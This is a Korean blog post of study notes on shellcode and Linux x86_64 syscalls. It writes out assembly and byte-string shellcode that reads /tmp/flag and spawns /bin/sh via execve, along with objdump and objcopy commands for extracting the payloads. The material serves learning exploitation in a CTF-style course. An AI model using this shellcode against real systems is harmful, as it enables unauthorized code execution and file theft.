관리 메뉴

Bull

[System Hacking] Shell Code 및 syscall 본문

Computer Science/System Hacking

[System Hacking] Shell Code 및 syscall

Bull_ 2024. 3. 31. 16:30

Shell Code란?


셸코드(Shellcode)는 공격자가 취약한 소프트웨어를 이용해 임의의 코드를 실행하기 위해 사용하는 바이트 코드이다.

 

"셸"이라는 용어는 이 코드가 종종 공격자에게 시스템의 셸에 접근을 제공하기 때문에 붙여졌다.

 

즉, 공격자는 셸코드를 사용해 시스템에 명령을 내릴 수 있는 권한을 얻는다.

 

셸코드는 다음과 같이 나타낼 수 있다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

실행파일에서 호출할 수 있는 부분을 조작할 수 있다면 임의의 셸코드를 넣어서 공격할 수 있다.

 

셸코드를 직접 만들기 전 프로그램이 어떻게 돌아가는 지 알아 볼 것이다.

 

syscall


syscall은 "시스템 호출(System Call)"의 약어로, 사용자 모드의 프로그램이 운영 체제의 커널 모드 기능을 사용하고자 할 때 커널에 요청을 전달하는 메커니즘이다.

 

운영 체제는 이러한 시스템 호출을 통해 파일 시스템 조작, 네트워크 통신, 메모리 관리, 프로세스 생성 및 제어와 같은 핵심 기능을 제공한다.

 

사용자 모드에서 실행되는 프로그램이 시스템 자원을 요청하려면, 시스템 호출을 이용해 커널에 접근해야 한다.

 

예를 들어, 파일을 열고자 하는 프로그램은 open 시스템 호출을 사용한다.

 

출처: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

 

컴퓨터 아키텍쳐에 따른 시스템 호출 방식이다.

 

나는 x86_64방식 운영체제로 공부하니 아래 것만 먼저 참고하는 게 헷갈리지 않을 것이다.

 

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

대표적인 orw syscall 방식이다.

 

추가적인 syscall 정보는 https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

에서 확인할 수 있다.

 

int fd = open("/tmp/flag", RD_ONLY, NULL);

예를 들어 위와 같이 open()에 인자 3개가들어간다고 하자.

 

그러면 최종적으로 레지스터에 들어가야 할 값은 다음과 같다.

rax = 2
rdi = "/tmp/flag"
rsi = 0 (RD_ONLY)
rdx = 0

 

우선 이번 강의에서 핵심은 인자가 들어가는 레지스터 순서를 외우는 게 중요해 보인다.

 rax | rdi | rsi | rdx

[rax] syscall방식

[rdi] 인자0

[rsi] 인자1

[rdx] 인자2

으로 외워 놓자

 

orw(open-read-write) shell code 작성해보기


char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

다음은 /tmp/flag에 있는 텍스트를 읽고 출력해보는 코드이다.

 

우선 첫째로 fd(file descriptor)에 들어갈 open()을 구현해보자.

 

open() 구현

int fd = open("/tmp/flag", RD_ONLY, NULL);
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

순서도는 다음과 같다.

 

① rdi (0번째 인자)

67 61 6c 66 2f 70 6d 74 2f → /galf/pmt (리틀 엔디안)

 

스택에는 8바이트 단위로 들어갈 수 있으므로

 

push 0x67 이후 0x616c662f706d742f 로 rsp에 위치시킨다. ( rsp는 스택포인터로 스택을 가리킨다)

 

rsp는 다시 rdi로 옮긴다.

 

② rsi (1번째 인자)

xor 자기 자신은 0이 나온다.

 

mov rsi, 0을 안한 이유는 xor이 더 빠르기 때문이다.

 

③rdx (2번째 인자)

마찬가지로 0을 넣는다.

 

④rax (syscall 함수)

open = syscall 0x2이다.

 

rax rdi rsi rdx
2 /tmp/flag 0 0

 

 

참고로 여기서는 별개지만 문자열 끝에 null 이 있어야 하기 때문에 셸코드를 짤 때,

"/tmp/flag\x00" 이런식으로 마지막에 \x00도 추가해야된다는 것을 명심하자.

 

read 구현

read(fd, buf, 0x30);
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

rax rdi rsi rdx
0 3 0x30 0

여기서 rdi 보고 "엥?" 했었는데 인자가 들어가는 값을 확인해보면 다음과 같다.

 

출처: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

즉, fd가 인자로 들어간다.

 

fd(File Descriptor)란?

파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다.

 

파일 디스크립터는 몇 년 전 부터 알고는 있는데 제대로 파악하지 못했던 부분이었다.

 

하지만 이번에 배우면서 어떤 느낌인지 확실하게 알 수 있었다.

 

간단하게 0은 stdin, 1은 stdout, 2는 stderr임은 알고 있었다.

 

여기서 이 파일 서술자는 해당 번호에 해당 되는 프로세스를 터미널과 연결해서 파일에 대한 액션을 할 수 있었던 것이다.

 

이제 fd라는 변수에 open을 통해 파일에 대한 프로세스가 생성되었으므로, 기본으로 들어가는 0,1,2 다음인 3이 저장된다.

 

write 구현

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)
rax rdi rsi rdx
1 1 0 0

 

어셈블리 언어 컴파일

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

C언어에서 __asm__();을 통해 인라인으로 스켈레톤 코드를 컴파일 할 수 있다. 

 

excuve 셸코드 만들기


execve(“/bin/sh”, null, null)로 셸을 실행할 수 있는 코드를 만들 것이다.

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)
rax rdi rsi rdx
0x3b /bin/sh/\x00 0 0

 

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

컴파일

gcc -o shellcode shellcode.c -masm=intel

objdump 를 이용한 shellcode 추출


[shellcode.o 생성]

.asm으로 obj생성

sudo apt-get install nasm
nasm -f elf shellcode.asm

nasm 명령어로 .asm을 통해 object 파일을 만들 수 있다.

 

또는 .c로 obj생성

gcc -c shellcode shellcode.c -masm=intel

 

[셸 코드 직접 추출]

objdump -d shellcode.o

 

objdump를 사용하여 옵코드를 볼 수 있다.

 

 

여기서 맨처음 보았던

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

형식의 셸코드를 추출하면 된다. (위의 셸코드는 임의의 코드이므로 주의)

 

[셸코드 파일 만들기]

만약 직접추출이 어려운 경우,

objcopy --dump-section .text=shellcode.bin shellcode.o

위 명령어로 셸코드만 따로 추출이 가능하다.

with open('shellcode.bin','rb') as file:
    payload = file.read()

그리고 파이썬에서 이렇게 변수명으로 담을 수 있다.

 

shellcode.bin파일을 보고 싶다면,

xxd shellcode.bin

위 명령어를 통해 덤핑해서 볼 수 있다.

 

명령어 정리


gcc -c shellcode shellcode.c -masm=intel 실행파일 생성
gcc -o shellcode shellcode.c -masm=intel 오브젝트 파일 생성(.c)
nasm -f elf shellcode.asm 오브젝트 파일 생성(.asm)
objdump -d shellcode.o 옵코드 읽기 (셸코드가 포함)
objcopy --dump-section .text=shellcode.bin shellcode.o .bin에 셸코드 저장
xxd shellcode.bin .bin 덤프 읽기

 

참고자료


[DreamHack 강의]

[출처]: https://dreamhack.io/lecture/courses/50

'Computer Science > System Hacking' 카테고리의 다른 글

[System Hacking] PLT & GOT  (0) 2024.04.10
[System Hacking] NX & ASLR  (0) 2024.04.09
[System Hacking] Stack Canary  (0) 2024.04.06
[System Hacking] Return Address Overwrite  (0) 2024.04.05
[pwntools] 함수 및 모듈 정리  (0) 2023.09.27